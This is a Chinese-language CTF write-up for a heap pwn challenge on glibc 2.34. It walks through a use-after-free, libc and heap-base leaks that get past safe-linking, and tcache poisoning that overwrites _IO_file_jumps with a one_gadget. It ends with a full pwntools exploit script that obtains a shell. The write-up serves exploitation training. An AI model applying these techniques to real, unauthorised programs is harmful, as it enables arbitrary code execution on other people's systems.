__IO_file_jumps 劫持攻击。
题面
压缩包提供 二进制文件,ld 和 libc。
1
2
3
|
ld.so
libc.so.6
pwn
|
分析
checksec 查看保护:全开。
1
2
3
4
5
6
7
8
9
|
❯ pwn checksec ./pwn
[*] '/data/project/ctf-repo/pwn/nssctf/CISCN_2022_华东北-duck/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
|
strings 查看 libc 版本: 2.34
1
2
|
❯ strings libc.so.6| grep 'GNU C Library'
GNU C Library (GNU libc) stable release version 2.34.
|
这个 libc 居然提供了 debug info,省去 glibc-all-in-one 找 debug info 写 build-id 一堆麻烦事了。
ida pro 静态分析,菜单,看来是堆题。
这里为了方便,把 label 都补全了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-4h]
sub_1547(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
v3 = recive();
if ( v3 != 4 )
break;
edit();
}
if ( v3 > 4 )
{
LABEL_13:
puts(s: "Invalid choice");
}
else if ( v3 == 3 )
{
show();
}
else
{
if ( v3 > 3 )
goto LABEL_13;
if ( v3 == 1 )
{
add();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
del();
}
}
}
}
|
我们挨个看:
menu()、recive() 就不展开了。
add()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int add()
{
int i; // [rsp+4h] [rbp-Ch]
void *v2; // [rsp+8h] [rbp-8h]
v2 = malloc(size: 0x100u);
for ( i = 0; i <= 19; ++i )
{
if ( heaplist[i] == 0 )
{
heaplist[i] = v2;
puts(s: "Done");
return 1;
}
}
return puts(s: "Empty!");
}
|
写固定死了分配的大小为 0x100。
del()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int del()
{
int v1; // [rsp+Ch] [rbp-4h]
puts(s: "Idx: ");
v1 = recive();
if ( v1 <= 20 && heaplist[v1] != 0 )
{
free(ptr: (void *)heaplist[v1]);
return puts(s: "Done");
}
else
{
puts(s: "Not allow");
return v1;
}
}
|
这里用 free 释放后没有对 heaplist 置零,存在 UAF。
show()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int show()
{
int v1; // [rsp+Ch] [rbp-4h]
puts(s: "Idx: ");
v1 = recive();
if ( v1 <= 20 && heaplist[v1] != 0 )
{
puts(s: (const char *)heaplist[v1]);
return puts(s: "Done");
}
else
{
puts(s: "Not allow");
return v1;
}
}
|
通过 heaplist 打印堆内容。
edit()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
int edit()
{
int v1; // [rsp+8h] [rbp-8h]
unsigned int v2; // [rsp+Ch] [rbp-4h]
puts(s: "Idx: ");
v1 = recive();
if ( v1 <= 20 && heaplist[v1] != 0 )
{
puts(s: "Size: ");
v2 = recive();
if ( v2 > 0x100 )
{
return puts(s: "Error");
}
else
{
puts(s: "Content: ");
writ(a1: heaplist[v1], a2: v2);
puts(s: "Done");
return 0;
}
}
else
{
puts(s: "Not allow");
return v1;
}
}
|
这里居然问写入大小,不过不能超过 0x100,没有堆溢出利用。
程序每次 add 会分配 0x110 大小的 chunks:

第一个 0x290 的 chunks 是 tcache_perthread_struct 不用管。
利用
因为 free 后没有对 heaplist 置零,所以可以通过 unsorted bins 拿到 main_arena 进而拿到 libc 基址。
glibc 2.32 对 tcache 引入了异或加密。我们知道,tcache 是单链表结构,每个 tcache free chunks 都会保存 fd 指针。但是 libc 3.32 后对其加密了:
1
2
3
|
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
|
对右移 12 位后的 fd/exit 字段所在的内存地址与指针值进行异或加密。但因为右移 12 位后,实际每 4k 页都有共同的加密项。而且,对于 tcache[0] 而言,它的 next 指针本身就是 0,异或 0 实际还是它本身。所以可以由此拿到 heap 基址(pos » 12)。这就是 save-linking 绕过。
拿到 heap 基址后就可以解开同页下的 chunks fd,实施 tcache poisoning。
首先封装操作:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
def add():
io.recvuntil(b"Choice:")
io.sendline(b"1")
def delete(idx: int):
io.recvuntil(b"Choice:")
io.sendline(b"2")
io.recvuntil(b"Idx: ")
io.sendline(str(idx).encode())
def show(idx: int):
io.recvuntil(b"Choice:")
io.sendline(b"3")
io.recvuntil(b"Idx: ")
io.sendline(str(idx).encode())
def edit(idx: int, size:int,content: bytes):
io.recvuntil(b"Choice:")
io.sendline(b"4")
io.recvuntil(b"Idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
io.sendline(content)
|
要利用 unsortedbin 需要把 tcache 填满,然后 free 掉,让一个 free chunk 置入 unsortedbin。
1
2
3
4
5
|
for i in range(9):
add() # 0~8
for i in range(8):
delete(i) # 0~7
|
不能全 free 完,不然会触发 top chunks 合并把 unsortedbin 项给合并了不好调试而且容易错误。
这时候 7 就是在 unsortedbin 内,指向 main_arena。

用 UAF 读出这个值,就能计算 libc base。
1
2
3
4
5
6
7
|
show(7) # unsorted bin leak libc
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96
print("main arena=", hex(main_arena))
libc_base = main_arena - libc.sym["main_arena"]
print("libc base address =", hex(libc_base))
iOFileJumps = libc_base + libc.sym["_IO_file_jumps"]
oneGadget = libc_base + 0xDA864
|
libc 有 3 个 one_gadget,挨个试总可以的。

还有 _io_file_jumps 地址,后面劫持用。
拿到 libc base,再通过 tcache[0] 拿 加密项(heap_base):
1
2
3
|
show(0) # tcache[0] leak heap base
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap base address =", hex(heap_base))
|
之后就是 tcache poisoning。
将 tcache[6] ~ tcache[2] 用掉,留两个:chunk0, chunk1


然后将 chunk 1 的 fd 篡改为 __IO_file_jumps 地址。
1
|
edit(1, 0x100, p64(heap_base ^ iOFileJumps)) # 把 chunk0 从 tcache 数组剥离,现在 0 没有用了。chunk1 之后指向 _io_file_jumps
|


此时,chunk[0] 就被抛弃了,因为 chunk1 的 fd 地址改成了 _io_file_jumps。在 add() 后 chunk1 被使用,此时 tcachebins 只剩下 chunk1 原本 fd 指针:_io_file_jumps。
接下来再 add,heaplist 就放了 _io_file_jumps 地址,我们拿到 _io_file_jumps 地址,而且可以通过 edit 做写入操作。
1
2
|
add() # 14 取出 chunk1
add() # 15 取出 _io_file_jumps,往 heaplist 写 _io_file_jumps 地址
|
可以在 pwndbg 用 p _IO_file_jumps 得到 _IO_file_jumps 指向的结构:

一般篡改 __overflow 项为 one_gadget,这样在程序正常 exit,fflush,puts 之类的时候都会从 __overflow
1
|
edit(15, 0x100, p64(0) * 3 + p64(oneGadget))
|
之后就拿到 shell 了:

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
from os import wait
from pwn import *
context.log_level = 'info'
io = process("./pwn")
#io = remote("node4.anna.nssctf.cn", 28473)
libc = ELF("./libc.so.6")
elf = ELF("./pwn")
def add():
io.recvuntil(b"Choice:")
io.sendline(b"1")
def delete(idx: int):
io.recvuntil(b"Choice:")
io.sendline(b"2")
io.recvuntil(b"Idx: ")
io.sendline(str(idx).encode())
def show(idx: int):
io.recvuntil(b"Choice:")
io.sendline(b"3")
io.recvuntil(b"Idx: ")
io.sendline(str(idx).encode())
def edit(idx: int, size:int,content: bytes):
io.recvuntil(b"Choice:")
io.sendline(b"4")
io.recvuntil(b"Idx: ")
io.sendline(str(idx).encode())
io.recvuntil(b"Size: ")
io.sendline(str(size).encode())
io.recvuntil(b"Content: ")
io.sendline(content)
for i in range(9):
add() # 0~8
for i in range(8):
delete(i) # 0~7
show(7) # unsorted bin leak libc
main_arena = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96
print("main arena=", hex(main_arena))
libc_base = main_arena - libc.sym["main_arena"]
print("libc base address =", hex(libc_base))
iOFileJumps = libc_base + libc.sym["_IO_file_jumps"]
oneGadget = libc_base + 0xDA864
show(0) # tcache[0] leak heap base
heap_base = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap base address =", hex(heap_base))
for i in range(5): # 消耗 tcache 中的 6 ~ 2 还剩下 0, 1
add() # 8~13
edit(1, 0x100, p64(heap_base ^ iOFileJumps)) # 把 chunk0 从 tcache 数组剥离,现在 0 没有用了。chunk1 之后指向 _io_file_jumps
add() # 14 取出 chunk1
add() # 15 取出 _io_file_jumps,往 heaplist 写 _io_file_jumps 地址
edit(15, 0x100, p64(0) * 3 + p64(oneGadget))
io.interactive()
|